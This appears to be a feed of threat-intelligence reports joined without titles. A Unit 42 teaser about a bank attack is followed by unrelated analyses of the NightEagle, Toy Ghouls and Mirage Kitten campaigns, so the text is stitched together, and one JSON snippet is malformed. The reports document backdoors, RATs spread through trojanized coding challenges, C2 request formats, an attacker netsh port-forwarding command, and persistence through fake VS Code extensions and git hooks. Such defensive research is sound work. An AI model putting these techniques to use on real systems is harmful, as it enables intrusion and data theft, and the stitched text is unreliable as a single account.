Unit 42 dissects a cyberattack targeting a European bank's IT infrastructure, delivering concrete defense strategies to help organizations detect and counter comparable threats.
The post The Noise Inside the Network: How an Unsophisticated Attack Exposed a Third-Party Risk appeared first on Unit 42.
Over the past year, our Global Emergency Response Team (GERT) has investigated several incidents involving the NightEagle group (also tracked as APT-Q-95). This group has been active since at least 2023 and originally focused on organizations in Asia. We have now identified attacks by the group targeting businesses in Russia. This post examines both known and new tools NightEagle used in its latest campaign.
In most incidents, the attackers used compromised valid credentials to gain access to corporate VPNs. VPN connections originated from IP addresses in the Russian segment linked to Cloudflare WARP tunnels, as well as from IP addresses associated with European virtual infrastructure providers.
Both during the initial access stage and as the attack progressed, the attackers deployed the GhostContainer backdoor on Microsoft Exchange servers. It incorporates components from several open-source projects, including the Neo-reGeorg tunnel, an exploit for the CVE-2020-0688 vulnerability, and the GhostWebShell class from the ysoserial utility. All of these components are publicly available on GitHub.
We were unable to determine the exact method the attackers used to deliver the backdoor to Microsoft Exchange servers. We believe with a high degree of confidence that they applied a technique already familiar to us: extracting the cryptographic keys used by Microsoft Exchange from the ASP.NET configuration, overwriting the VIEWSTATE framework parameter, and injecting a payload into it, which then launched the GhostContainer backdoor in memory.
The backdoor is a .NET assembly containing three classes that implement its core functionality:
LoginStub: processes C2 commands delivered to the infected system through the x-owa-urlpostdata headers and evades detection by the Antimalware Scan Interface (AMSI) and Windows Event Log mechanisms by overwriting addresses in amsi.dll and ntdll.dll.App_Web_843e75cf5b63: accepts the fakePath and fakePageName parameters and creates virtual paths that redirect requests to the App_Web_8c9b251fb5b3 class.App_Web_8c9b251fb5b3: implements network traffic redirection (proxying) and socket forwarding functionality.Kaspersky products detect the GhostContainer backdoor as Trojan.MSIL.GhostContainer.gen.
GhostContainer samples identified by the Similarity technology from Kaspersky Threat Analysis
Once the attackers gain sufficient privileges during an attack, they leverage RDP to move laterally within the internal network segment. To do this, they download and run tools for tunneling and redirecting network traffic.
The attackers used GitHub repositories to host their archived tools. The names of the repositories and archives were disguised to look legitimate:
One of the repositories used for storing network tools
The files contained within the archives were also given names mimicking known legitimate software, though unrelated to the archive names:
adobe_32.exe;AdobeSync.exe;trueconf.exe;1cbroker.exe;1c-office-plugin.exe;trueconf-broker.exe.Across the incidents we investigated, we found two tools that the attackers combined for traffic tunneling.
*.*.devtunnels.ms domains. The attackers used this tunneling capability to expose port 3389 (RDP) on the compromised system.
Execution graph of adobe_32.exe in Kaspersky Research Sandbox
When virtual channels are opened and closed, corresponding events with IDs 132 (channel opened) and 148 (channel closed) are logged in the Microsoft-Windows-RemoteDesktopServices-RdpCoreTS/Operational.evtx Windows log. These events contain the names of the channels (such as XPSRD, cliprdr, Microsoft::Windows::RDS::DisplayControl, and others) used by the RemoteFX module, which extends the capabilities of the RDP protocol.
When the rdp2tcp tool is used, events with IDs 132 and 148 will contain the channel name rdp2tcp or other random alphanumeric combinations chosen by the attackers.
Creation event for a channel named rdp2tcp (server component startup)
The combination of Microsoft dev tunnels and rdp2tcp allows the attackers to maintain network access by using legitimate services without opening additional suspicious ports.
The attackers also used the atexec utility from the Impacket toolkit to create scheduled tasks on target systems. These tasks enabled network port forwarding through standard Windows functionality:
netsh interface portproxy add v4tov4 listenport=443 connectaddress=10.0.12.101 connectport=445
To obtain elevated privileges and move laterally through the network, NightEagle exploited various vulnerabilities in Active Directory. The attackers used previously established tunnels to connect to internal infrastructure systems.
In one incident, they exploited a well-known RDP implementation vulnerability, CVE-2019-0708 (BlueKeep). They used the vulnerable mechanism to create a local account on the system and add it to the Administrators and Remote Desktop Users groups.
Contents of a system memory dump showing artifacts of the CVE-2019-0708 exploit
The attackers also requested Kerberos tickets with a non-standard combination of flags (Forwardable, Proxiable, Renewable) and attempted to replicate the Domain-Password object from the Active Directory database to impersonate the domain controller (a technique known as DCSync) after obtaining an account with sufficient privileges.
Through these methods, the attackers establish persistence in the infrastructure, obtain password hashes for domain accounts, use long-lived Kerberos tickets to gain legitimate access to target resources, and ultimately compromise domain controllers and the victim’s entire Active Directory infrastructure.
To expand the geographic scope of its targets, NightEagle is updating its methods and adopting new techniques for persistence and lateral movement. Despite the group’s efforts to stay hidden, timely detection of anomalies combined with a comprehensive approach to infrastructure protection can significantly hinder the attackers from achieving their goals. Since the attackers rely on known legitimate tools and infrastructure vulnerabilities, well-configured monitoring can help detect NightEagle’s presence on the network.
Kaspersky solutions reliably identify the malicious activity described above at various stages of the attack. We showed examples above of how Kaspersky Threat Analysis detects samples of the GhostContainer backdoor and the tunneling utility. This toolkit also includes the analytical solution Kaspersky Threat Attribution Engine (KTAE), which helps SOC analysts and incident responders determine which APT groups malware can be attributed to. The solution uses a proprietary comparison method that measures the similarity between analyzed samples of suspicious files and known malicious samples in Kaspersky’s collection.
The backdoor we discovered showed similarity to previously analyzed GhostContainer samples and a connection to the NightEagle APT group:
Backdoor analysis with KTAE
However, detection scenarios for this kind of attacks are not limited to file analysis. Deploying a backdoor on a target host produces numerous characteristic artifacts, which allow Kaspersky Endpoint Detection and Response Expert to alert users to anomalies in the infrastructure in a timely manner.
This malicious activity is detected by the following rules, available in the repository:
Process tree in KEDR Expert
Kaspersky Anti Targeted Attack (KATA) detects this malicious activity in network traffic. For example, the Exploit.CVE-2019-0708.TCP.C&C signature allows detecting attempts to exploit the CVE-2019-0708 (BlueKeep) vulnerability.
Alert card for the BlueKeep vulnerability exploitation
Beyond this activity, KATA also detects other NightEagle actions in network traffic, such as the following:
| 1dcafb7f8448683281106b06dd22409a | AdobeSync.exe |
| 1f3034b706c78b35d8e34044e68c693a | adobe_32.exe |
| 3ecd1cd627d0340c92901a478a7caad8 631fb131a56caf4ca0f287ed73e876ab |
App_Web_Container_1.dll |
| 4aa9fb1bf9223dfcdac920759bc7a3c7 | 1c-office-plugin.exe, 1cbroker.exe, trueconf.exe |
| https://github[.]com/mirror-js/mirror-js | |
| https://github[.]com/browserthemes/resourcepack | |
We continue tracking the activity of Toy Ghouls (also known as Bearlyfy, Laboo.boo, and Feral Wolf), a financially motivated group that has been targeting Russian organizations since 2025. The attackers initially relied exclusively on tools pulled from public GitHub repositories along with leaked Babuk and LockBit ransomware builders, later shifting to their own custom ransomware, GenieLocker. In early July 2026, we observed the group using a custom backdoor for the first time.
We identified two versions of this backdoor: one uses the HiveMQ MQTT broker as its C2 server, while the other relies on the Element messenger. Both versions include “bird” in their names:
This post examines how the backdoor is delivered to target systems, how it establishes persistence, and how it communicates with its C2 server.
In this campaign, the attackers use Windows Remote Management (WinRM) to deliver the backdoors and their configuration files to compromised systems. The group relies on open-source tools such as Evil-WinRM and WinRM-fs to do this.
The backdoor can both run within an interactive command-line session and establish persistence as a Windows service, using the --install or install option, depending on the backdoor version. The --service (or service) option is not available by default and is instead used as an argument for the installed Windows service.
Other launch options are listed in the backdoor’s help output:
C:\cplsupport.exe -h Bird Agent - MQTT server monitor Usage: cplsupport.exe [OPTIONS] Options: -c, --config <CONFIG> Path to config.toml config file --install Install as a system service --uninstall Uninstall the system service --seal Encrypt sensitive config fields in-place using a machine-bound key -h, --help Print help -V, --version Print version
HiveMQ version backdoor help output
In the Element version, the backdoor help output looks as follows:
C:\wtass.exe -h Matrix monitoring agent Usage: wtass.exe [OPTIONS] [COMMAND] Commands: install Register this agent with the Matrix homeserver and panel uninstall Remove this agent's service and credentials service Run as a Windows service (internal) help Print this message or the help of the given subcommand(s) Options: -c, --config <CONFIG> -h, --help Print help -V, --version Print version
Element version backdoor help output
By default, the backdoor looks for a config.toml configuration file in the directory where the executable was launched, then falls back to %PROGRAMDATA%\SynapseAgent\config.toml (Element version) or %PROGRAMDATA%\cplsupport\config.toml (HiveMQ version). If no configuration file is found in either location, the full path can be specified using the -c (--config) option.
The backdoor accepts both unencrypted configuration files and files with partially encrypted sections. In the first case, once the backdoor is launched, it reads the file and partially encrypts it using the seal() function (the --seal option in the HiveMQ version), applying the ChaCha20-Poly1305 algorithm with a key derived from the value of the HKLM\Software\Microsoft\Cryptography\MachineGuid registry key. This means that after the backdoor’s first run, the configuration file becomes bound to that specific machine. On subsequent runs, the configuration is decrypted automatically. If the input configuration was already partially encrypted, it is likewise decrypted automatically.
If the configuration cannot be decrypted, the backdoor stops running.
Encrypted configuration files look as follows:
Encrypted backdoor configuration file, HiveMQ version
The encrypted portion of the HiveMQ version’s configuration contains the following parameters:
agent_privkey: the agent’s private keychannel_id: the channel identifier used to communicate with the brokerserver_pubkey: the server’s public key
Decrypted blob field in the HiveMQ version’s configuration
In the Element version, the configuration file is deleted immediately after the first run, and the relevant parameters are instead written to the HKLM\Software\synapse\Config\SealedConfig registry key. On subsequent runs, the backdoor checks the registry for its configuration first.
Decrypted Element version configuration file, retrieved from the registry
The Element version’s configuration specifies the address of an Element server controlled by the attackers, a room identifier, and an access_token used to access that room. If this parameter is left empty, the backdoor prompts for the password interactively during installation. After successfully creating a session, the backdoor saves the received token to the blob field.
At startup, both backdoor versions send a GET request to http://ip-api.com/json to determine the system’s public IP address and country of origin.
The first version uses the public HiveMQ MQTT broker (broker.hivemq.com) as its C2 server. The free tier of this broker supports up to 100 concurrent connections and up to 10 GB of traffic per month. The attackers set up their own cluster and used it both to collect telemetry from compromised systems and to send commands to the backdoor.
-NonInteractive -NoProfile -Command parameters.For the second backdoor version, the attackers set up their own Element server running on the Matrix protocol, meet.element[.]tw, as the C2 server. On this server, they created a room used to receive messages containing device information and to send commands for execution on the compromised system. The communication flow is as follows:
m.bird.status message containing the system’s status. This message format is identical to that used in the HiveMQ version.m.bird.metrics message. Field names are slightly different from those in the first version:
{cpu_percent_x100":float,"mem_used_bytes":int,"mem_total_bytes":int,"disk_used_bytes":int,"disk_total_bytes":int,"load_1m_x100":float,"load_5m_x100":float,"load_15m_x100":float,"uptime_secs":int,"hostname":"hostname.domain","timestamp":unix_timestamp}.config:set_interval (accepting values from 5 to 3600 seconds). The new value is saved to the HKLM\Software\SynapseAgent\metrics_interval registry key.cmd:. Based on data extracted from Element’s SQLite databases on the compromised system, we were able to identify the account name the attackers used to send commands: panel-bot.m.bird.cmd_response message. This message format mirrors the one used in the HiveMQ version.We have been tracking Toy Ghouls’ activity for quite some time. We previously found that the group had expanded its arsenal with a custom ransomware strain, GenieLocker, and we have now discovered that it has also developed a backdoor capable of giving it full control over an infected device. The new tools use unconventional channels to communicate with their C2 server: the HiveMQ MQTT broker and the Matrix-based Element messenger. This shift away from publicly available open-source projects toward custom-built tools suggests that Toy Ghouls is working to make its attacks more sophisticated and to evade detection for longer.
Kaspersky security solution verdicts:
File names and MD5 hashes:
Registry keys:
Service names:
Domain names:
While monitoring Mirage Kitten activity, we uncovered a previously undocumented malware family that we dubbed NodeRabbit. We identified the first sample on a system in Afghanistan. Further threat hunting revealed two additional, more advanced, variants: one on a system in Egypt and another on a system in Ethiopia.
NodeRabbit is a cross-platform remote access trojan (RAT) built with Node.js. It targets Windows, Linux, and macOS. Its operators deliver it through spear-phishing messages on LinkedIn and other job search platforms that contain trojanized coding challenge archives.
During the same investigation, we discovered another previously undocumented malware family that we dubbed PollCat. Like NodeRabbit, PollCat is a cross-platform RAT, but it is written in obfuscated JavaScript also distributed through trojanized coding challenge archives.
Mirage Kitten has historically relied on native malware written in languages such as C, C++, and Go, often deploying it through DLL search-order hijacking. NodeRabbit and PollCat represent the first publicly documented use of Node.js- and JavaScript-based malware by this APT group.
Kaspersky’s products detect this threat as Trojan.JS.MirageKitten.*
During recent threat research, we detected suspicious activity on a system in Afghanistan. We traced it to an archive containing a software development project that the user may have received during a job application process. The archive purported to contain a coding challenge for candidates applying for an engineering role.
The archive, Front-Technical-Challenge.zip (MD5: 1EA83E4E4592B01E4ACAB63EB867BEE5), was hosted in an Amazon S3 bucket at: https://oracle-challenge.s3[.]us-east-1.amazonaws[.]com/Front-Technical-Challenge.zip
It contained TaskFlow, an app for software engineering assessment built with Express, React, and Vite. The accompanying README instructed the candidate to review the application and fix defects in its frontend. It also claimed that server.js was bug-free and should not be modified, conveniently directing attention away from the only application source file the attackers had altered.
README file for a trojanized coding challenge app
The README also imposed a three-hour time limit and prohibited the use of AI assistants. Notably, an AI code-review assistant tasked with auditing the project would likely have flagged the suspicious first-line import of an unknown npm package and warned the targeted developer that the project was trojanized.
Rules and time limit included in the trojanized coding challenge app README file
The first line of server.js imported a trojanized npm package named colorized_terminal, version 2.1.0. The attackers bundled the package directly in the challenge task archive’s node_modules directory rather than publishing it to the npm registry. When imported, the package silently launched an implant from node_modules/.cache/.320697f1/index.js as a detached background process.
Retrospective threat hunting across our telemetry revealed the broader scope of the campaign. We identified three NodeRabbit variants with a shared code lineage; each was recovered from a system in a different country. The operators delivered the variants through similarly themed coding challenges and used two trojanized packages, colorized_terminal and pretty-log, both pinned to version 2.1.0.
The campaign also delivered PollCat, a second RAT with a substantially different structure, through a separate coding challenge lure. We’ll analyze PollCat later in this research.
The infection chain begins with fake recruiter accounts contacting prospective targets on a job search platform. According to a publicly cited source, a threat actor posing as a talent acquisition specialist at a major technology company contacted a software engineer and advertised a job opening, inviting the target to complete a technical assessment.
The target received a link to a coding challenge hosted on Amazon S3 and was pressured to download and run the project immediately. This public post matches the delivery chain we reconstructed from our telemetry: recruiter outreach on a job search platform, a coding challenge presented as a technical assessment, and a trojanized project archive hosted on legitimate cloud infrastructure.
We discovered the first NodeRabbit variant on a system in Afghanistan. The malware was concealed within the TaskFlow assessment at node_modules/.cache/.320697f1/index.js and executed by the trojanized colorized_terminal package.
Once running, NodeRabbit generates a unique agent identifier from available host information. It calculates the SHA-256 hash of the hostname, username, operating system version, architecture, and MAC address, then truncates the result to its first 32 hexadecimal characters.
NodeRabbit binds a TCP listener to 127.0.0.1:48739. This listener acts as a single-instance mechanism. If the malware cannot bind to the port, it assumes that another instance is already running and terminates silently.
NodeRabbit uses a persistence mechanism for each operating system:
| Operating system | Persistence mechanism |
| Windows | Copies itself to %APPDATA%\Microsoft\EdgeUpdate\msedge_update.js; clones the local node.exe to nodew.exe in the same folder and patches its PE subsystem from Console to Windows GUI to suppress the console window; creates HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeUpdate registry key executing nodew.exe msedge_update.js |
| Linux | Copies itself to ~/.config/microsoft-edge-update/msedge_update.js and creates an @reboot cron entry that invokes the script using the current Node.js executable. |
| macOS | Copies itself to ~/.config/microsoft-edge-update, creates ~/Library/LaunchAgents/com.microsoft.edgeupdate.plist configuration file pointing at the copy’s location with RunAtLoad and KeepAlive parameters, and attempts to load it. |
The malware communicates with its command-and-control servers through three API endpoints, choosing from the following Azure-hosted C2 infrastructure addresses. On failure, it switches to the next C2 address:
1. https://plugplay.azurewebsites[.]net 2. https://Rgbteller.azurewebsites[.]net 3. https://Wslwebui.azurewebsites[.]net
| Method | Endpoint | Purpose |
| POST | /api/rabbit/checkin | Register agent and host info |
| POST | /api/rabbit/task | Poll for commands |
| POST | /api/rabbit/result | Submit results |
NodeRabbit serializes each C2 request object as JSON and wraps it with AES-256-GCM. The AES key is the SHA-256 digest of an ASCII seed embedded into the agent. Every request uses a fresh 12-byte IV and a 16-byte authentication tag:
The malware sends encrypted requests using the following structure:
{
"d": "base64(IV || ciphertext || authentication_tag)",
"_r": "8 hexadecimal characters",
"_t": "epoch timestamp"
}C2 responses are structured the same way and may contain a command to execute. We observed the first NodeRabbit variant supporting 11 commands:
| Command | Functionality |
| sys:info | Return hostname, domain user information, username, and process ID. |
| proc:list | List running processes. |
| proc:start | Execute an arbitrary shell command. |
| fs:list | List a directory. |
| fs:read | Read a file in chunks and return Base64 data. |
| fs:write | Decode Base64 and write it at a chosen file offset. |
| fs:delete | Delete a file or recursively delete a directory. |
| fs:mkdir | Create directories recursively. |
| net:config | Enumerate adapters, MAC addresses, IP addresses, and DNS settings. |
| agent:sleep | Change the beacon interval. |
| script:exec | Write a base64 Node.js script to a randomly named .tmp file, execute it and delete it. |
Retrospective threat hunting following the discovery in Afghanistan led us to a second infection on a system in Egypt. This sample is a more advanced NodeRabbit variant, launched through the trojanized pretty-log package instead of colorized_terminal.
Before running its core functionality, the malware checks whether the host resembles an analysis environment. It terminates if it detects limited system memory, a low CPU count, short system uptime, analyst-associated usernames or hostnames, or common analysis tools running on the system.
Before terminating, the malware generates benign HEAD requests to www.google.com, www.microsoft.com, and www.cloudflare.com, then exits without ever contacting its C2 infrastructure. Most likely, it attempts to look less suspicious by showing some benign activity before exiting.
Variant 2 implements partial corporate proxy support: it checks HTTP(S) proxy environment variables, Windows Internet Settings, including an explicit PAC URL, and WinHTTP configuration; tunnels its HTTPS C2 through HTTP CONNECT. It first tries to establish an unauthenticated connection. If it fails, it retries using URL-embedded basic credentials. Finally, it delegates Windows NTLM/Negotiate challenges to curl.exe --proxy-anyauth --proxy-user. It caches the proxy-discovery result, including when no proxy is found, for five minutes. If the polling loop detects a network-interface or IP-address change, it clears the cache and runs proxy discovery again on the next checkin.
To make sure a single instance is running, Variant 2 uses a host-specific port derived from the agent identifier instead of the fixed TCP port used by the first variant. It interprets the first four hexadecimal characters of the identifier as an integer and applies the following calculation: 41984 + (value mod 5000).
The resulting listener port falls between 41984 and 46983. Unlike the shared port used by Variant 1, this port varies depending on the infected host.
For persistence, Variant 2 masquerades as Intel Driver & Support Assistant. The exact persistence mechanism, once again, depends on the operating system.
| Operating system | Persistence mechanism |
| Windows | Copies itself to %LOCALAPPDATA%\Intel\DSA\idriver_support.js. It then copies the local node.exe binary to IntelDSA.exe and changes its PE subsystem from Console to Windows GUI, suppressing the console window. Finally, it creates a scheduled task named IntelDriverSupportUpdate, which runs daily at 10AM and executes IntelDSA.exe with the dropped script. |
| Linux | Copies itself to ~/.config/intel-dsa/idriver_support.js and creates an @reboot cron entry. |
| macOS | Copies itself to ~/Library/Application Support/Intel DSA/idriver_support.js and creates the LaunchAgent com.intel.dsa.helper with RunAtLoad and KeepAlive enabled. |
Further threat hunting identified a third NodeRabbit variant on a system in Ethiopia. Like the second variant, it is launched through the trojanized pretty-log package. It retains much of the previous variant’s functionality but introduces significant changes to its command-and-control configuration, command set, and persistence mechanisms.
The third variant communicates with its C2 infrastructure through a different set of API endpoints:
| Method | Endpoint | Purpose |
| POST | /sdk/v2/ready | Register agent and host info |
| POST | /sdk/v2/config | Poll for commands |
| POST | /sdk/v2/events | Submit results |
We observed the malware using a C2 chain composed of Azure- and Cloudflare-hosted domains.
1. https://visitfinancedentists[.]com 2. https://kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net 3. https://healthcomfsdpower[.]com
For persistence, Variant 3 implements the following mechanisms depending on the operating system in use:
| Operating system | Persistence mechanism |
| Windows | Attempts to copy the payload to ProgramData or LocalAppData, create a build-specific daily 10AM task, and start the copied payload. To choose the exact directory, it tries to list C:\Windows\System32\config. If successful, it selects ProgramData with /ru SYSTEM /rl highest; in case of a failure, it selects LocalAppData without explicit /ru or /rl settings. |
| macOS | Copies the payload to ~/Library/Application Support, creates and loads a RunAtLoad/KeepAlive LaunchAgent and starts the copied payload. |
| Linux | Copies the payload to ~/.local/share, attempts to add an @reboot cron entry, and starts the copied payload. If crontab -l fails, persistence is skipped. |
| WSL | Uses the payload copied for persistence on the main Linux system, as described above. Writes launcher.vbs under the Windows user profile, and creates a daily 10AM Windows task that relaunches it through wscript.exe and wsl.exe. |
A new command, agent:servers, replaces the active in-memory C2 server list and can write the updated list to .sv.json. The third variant retains the original 11 commands and adds 12 new ones, bringing the total to 23.
| New commands | Functionality |
| fs:drives | Enumerate accessible Windows drive letters or WSL-mounted drives |
| proc:exec | Execute a process |
| proc:kill | Kill process by PID or image name |
| agent:servers | Replace the active C2 and attempt to keep the new configuration |
| agent:getchain | Return the current C2 |
| outlook:emails | Harvest account addresses from Outlook OST and PST artifacts |
| persist:check | Check selected VS Code, scheduled-task, and Run-key persistence indicators |
| persist:vscode | Attempt to install a fake VS Code extension and Windows Run value |
| persist:vscode:remove | Remove the fake extension |
| persist:projects:scan | Search recent and common development locations for Git repositories |
| persist:project:inject | Inject a launcher into a repository’s Git hooks |
| persist:project:remove | Remove the marked Git-hook launcher |
Beyond the persistence mechanisms described above, Variant 3 introduces two additional persistence mechanisms that relaunch the malware through common developer workflows.
The persist:vscode command first copies the payload to its build-specific install path. If a compatible extension directory exists, it creates a fake extension displayed as GitHub Copilot Helper, with the description AI coding assistant helper service and the activation event on StartupFinished.
The extension’s extension.js file attempts to start the installed payload as a detached Node.js process. To look less suspicious to the user, it uses a trusted publisher name borrowed from local extension metadata or a trustedPublishers value found in state.vscdb. However, no signature or trusted status is copied.
Separately, the handler tries to disable Workspace Trust if the VS Code User directory exists. On Windows, it attempts to establish persistence using a current-user Run registry key value even if the extension directory is missing.
Git-hook persistence works in two steps. First, persist:projects:scan checks recent VS Code workspace paths directly. Under common locations such as ~/projects and ~/source, it checks only the first 60 immediate children, not the root itself, and returns no more than 20 repositories.
For a selected repository, persist:project:inject appends a marked launcher to .git/hooks/post-merge and .git/hooks/post-checkout by default. The marker is # shepherd-persist; the line following the marker attempts to start the installed payload with Node in the background. A later Git operation must trigger one of those hooks, and the referenced Node executable and payload must still exist.
While tracking NodeRabbit infections, we discovered another malicious tool we dubbed PollCat, which is also distributed under the guise of a programming challenge. The sample we obtained resides inside RankChallenge-react, a React code-fixing challenge presented as a time-limited developer assessment. Running the project invokes npm i && node index.js, which starts the local application and attempts to open the challenge in the user’s browser.
Although the visible exercise is not a security CTF, the project uses CTF terminology in several places. The root package is named ctf-server, the backend prints CTF server running, the frontend uses several ctf-* storage keys, and the tutorial refers to path/to/ctf. These repeated labels, together with instructions that do not fully match the delivered application, are consistent with an AI-assisted or template-generated project. One possible explanation is that the attacker prompted an AI coding assistant to create a CTF-style React platform and later inserted the malicious components.
README instructions and challenge overview included in the trojanized React coding project
The PDF tutorial contained in the same archive as the project tells the target to click Continue, enter a six-digit OTP code, and complete the challenge within a one-hour session. It states that codes are supplied by the recruiter, are single-use, and expire quickly; the visible login page also claims that codes rotate every 30 seconds. In the delivery scenario described by the investigation, the threat actor posing as a recruiter could provide the code directly to the targeted developer. This gives the operator control over access to the lure, while the expiring code and countdown create a sense of urgency, pressuring the target to run the project and complete the assessment quickly, potentially accelerating the infection process.
One-hour session window enforced by the trojanized coding challenge
The bundled .env file contains the JWT signing secret, OTP service URL, and OTP client ID.
Configuration embedded in .env file of the trojanized coding project, including the OTP service URL and client identifier
The application forwards submitted codes to an attacker-managed domain registered in late June-2026: https://lifespotify[.]com/api/users/b879746e-fed9-4211-a6da-4d8223681267/otp/validate.
That said, PollCat starts independently of the OTP authentication process. During application startup, app.js loads requireAuth.js, which imports and immediately starts the malicious requireObjects.js component. PollCat can therefore begin C2 registration and command polling while the application is still loading, before the user enters an access code.
A failed OTP validation prevents the user from accessing the protected challenge features, but PollCat continues running in the background. A successful OTP validation issues a JWT and creates another worker that starts an additional PollCat instance. The first authenticated request also triggers the persistence attempt.
Persistence starts when the first request carrying a valid JWT reaches the protected middleware. PollCat then uses one of the following methods:
| Operation system | Persistence mechanism |
| Windows | Writes package.json and requireObject.js to %APPDATA%\Microsoft\Network, runs npm install, and creates a daily task named NetSync_<username> and scheduled for 09AM that runs the worker with Node.js. |
| Linux | Writes the worker to ~/.node_packages, runs npm i, and appends both a daily 09AM cron line and an @reboot line. |
| macOS | Uses the same ~/.node_packages copy and cron path, then creates and loads ~/Library/LaunchAgents/com.harsh.requireobject.plist with RunAtLoad and a daily 09AM trigger. |
Once active, PollCat identifies the host as 129--<hostname> and iterates over the following C2s until registration succeeds:
1. https://sahi-finance[.]com 2. https://GamebarAppinformation[.]azurewebsites[.]net 3. https://GamebarApp[.]azurewebsites[.]net
To register, it sends the following HTTP request to the C2:
POST /beacon HTTP/1.1
Host: <c2-host>
Content-Type: application/json
{"clientId":"<client-id>","type":"poll","pcName":"<hostname>","userName":"<username>"}On successful registration, PollCat expects an unusual HTTP 400 response containing a socket identifier and optional timing values:
HTTP/1.1 400
Content-Type: application/json
{"socketId":"<socket-id>","pollInterval":<poll-interval-ms>,"jitterTime":<jitter-ms>}After registration, PollCat sends host information to /gate/hello, polls /gate/fetch for commands, and returns results through /gate/submit. All endpoints in use are presented in the table below.
| Method | Endpoint | Purpose |
| POST | /beacon | Register the client and obtain a socketId and optional timing values. |
| POST | /gate/hello | Submit host, user, domain, OS information, and its current privilege level. |
| GET | /gate/fetch?token=<socketId> | Poll for commands. |
| POST | /gate/submit | Submit a Base64-encoded command-result structure. |
| GET | /vault/<uuid> | Retrieve a hosted file and write it to the victim machine. |
| PUT | /vault/push/ | Upload a local file or file chunk to the C2. |
| POST | /gate/track | Report chunk-upload progress. |
By default, PollCat RAT polls every two minutes with up to five seconds of jitter. Commands and results are stored as little-endian binary records and carried as Base64 text.
PollCat RAT declares 22 commands, but three of them have no implementation:
| Command | Functionality |
| 0x02 (DIR) | List a directory. |
| 0x03 (MV) | Move a file or directory. |
| 0x04 (RUN) | Execute a shell command. |
| 0x05 (TASKLIST) | List running processes. |
| 0x06 (DEL) | Delete a file or directory. |
| 0x07 (UPLOAD) | Download a file from the C2 to the victim’s machine. |
| 0x08 (DOWNLOAD) | Upload a local file to the C2. |
| 0X09 (DRIVES) | List drives, volumes, or mount points. |
| 0X0A (TERMINATE) | Terminate a process by PID. |
| 0X0B (RUNDLL) | Load a DLL and call an exported function on Windows. |
| 0X0C (MKDIR) | Create a directory. |
| 0X0D (ZIP) | Create or extract a ZIP archive. |
| 0X0E (CHUNKED_DOWNLOAD) | Upload a local file in chunks. |
| 0X0F (RUN_HIDDEN) | Start a hidden background process. |
| 0X20 (EVAL_JS) | Execute JavaScript supplied by the C2. |
| 0X30 (SYSTEM_CHECK) | Collect process and software inventory. |
| 0XA1 (WS_DOWNLOAD) | Defined but not implemented. |
| 0xB0 (REQUEST_ELEVATION) | Defined but not implemented. |
| 0XB1 (PERSIST) | Defined but not implemented. |
| 0xF0 (SET_SLEEP_TIME) | Change the polling interval. |
| 0XF1 (SET_IDLE_TIME) | Store an idle-time value. |
| 0xF2 (SET_JITTER_TIME) | Change polling jitter. |
The command names UPLOAD, DOWNLOAD, and CHUNKED_DOWNLOAD are written from the C2’s perspective. UPLOAD sends a C2-hosted file to the victim’s machine, while the two download commands transfer victim files back to the C2.
EVAL_JS runs JavaScript supplied by the C2 and gives that code access to Node.js modules, files, processes, networking, and child-process functions.
SYSTEM_CHECK collects the names of running processes and lists files and folders from:
It also searches for folders matching 24 hardcoded strings corresponding to security software vendor names: ‘Google’, ‘Microsoft’, ‘Palo Alto Networks’, ‘Cisco’, ‘VMware’, ‘Fortinet’, ‘Citrix’, ‘CheckPoint’, ‘Juniper Networks’, ‘LogMeIn’, ‘Sophos’, ‘Symantec’, ‘Trend Micro’, ‘McAfee’, ‘Kaspersky Lab’, ‘ESET’, ‘Bitdefender’, ‘Avast Software’, ‘CrowdStrike’, ‘SentinelOne’, ‘Malwarebytes’, ‘BraveSoftware’, ‘Tencent’, and ‘Naver’.
When PollCat finds a matching folder, it lists that folder’s root contents. It does not recursively scan the entire product directory. The detailed inventory, including process names, directory listings, and collected paths, is sent as JSON to POST /api/system-details/result.
Mirage Kitten continues to rely on Azure Websites and Cloudflare-backed domains to hinder infrastructure discovery and tracking. More importantly, the use of Microsoft Azure subdomains for C2 helps the traffic blend into legitimate organizational network activity. In some cases that we encountered during our research, the actors even incorporated the targeted organization’s name into the Azure subdomain, making C2 communications appear more like normal business traffic originating from an employee machine during regular business days.
| Domain | Registrar | ASN | Malware sample |
| naturalapplication.azurewebsites[.]net retaildemo.azurewebsites[.]net tubitak.azurewebsites[.]net |
MarkMonitor Inc. | AS 8075 | NodeRabbit RAT sample 1 |
| rgbteller.azurewebsites[.]net wslwebui.azurewebsites[.]net plugplay.azurewebsites[.]net |
MarkMonitor Inc. | AS 8075 | NodeRabbit RAT sample 2 |
| crossdwm.azurewebsites[.]net wdisystem.azurewebsites[.]net wslmenus.azurewebsites[.]net |
MarkMonitor Inc. | AS 8075 | NodeRabbit RAT sample 3 |
| dnshnsdev.azurewebsites[.]net hpjumpsrv.azurewebsites[.]net storview.azurewebsites[.]net |
MarkMonitor Inc. | AS 8075 | NodeRabbit RAT sample 4 |
| healthcomfsdpower[.]com visitfinancedentists[.]com |
NameCheap, Inc. | AS 13335 | NodeRabbit RAT sample 5 |
| kyrasey-f8hfexa5cqamh7fk.westeurope-01.azurewebsites[.]net | MarkMonitor Inc. | AS 8075 | |
| greenyjsgfd.azurewebsites[.]net helptellerbls.azurewebsites[.]net timedrv.azurewebsites[.]net userwellgtfs.azurewebsites[.]net |
MarkMonitor Inc. | AS 8075 | NodeRabbit RAT sample 6 |
| hecowime-aqdphyd4bbdef6es.westeurope-01.azurewebsites[.]net msmanagementgrp[.]com msmanagementgrpmedia[.]com |
MarkMonitor Inc. | AS 8075 | NodeRabbit RAT sample 7 |
| lifespotify[.]com | Dynadot | AS 8075 | PollCat RAT |
| gamebarapp.azurewebsites[.]net gamebarappinformation.azurewebsites[.]net |
MarkMonitor Inc. | ||
| sahi-finance[.]com | NameCheap, Inc. |
Based on our analysis of Mirage Kitten’s infrastructure, we identified certain patterns across several command-and-control channels, including msmanagementgrp[.]com and visitfinancedentists[.]com
Further investigation based on these patterns led to the discovery of approximately 11 additional infrastructure assets attributed to the same group.
| Domain | Creation date | Registrar |
| healthful-hub[.]com | 2026-07-03 | NameCheap, Inc. |
| neumedicahealthcare[.]com | 2026-07-03 | NameCheap, Inc. |
| optimumhealthcredit[.]com | 2026-07-03 | NameCheap, Inc. |
| healthfullyrecipes[.]com | 2026-06-30 | NameCheap, Inc. |
| refreshhealthandwellness[.]com | 2026-06-09 | NameCheap, Inc. |
| healthvitalitycare[.]com | 2026-05-18 | NameCheap, Inc. |
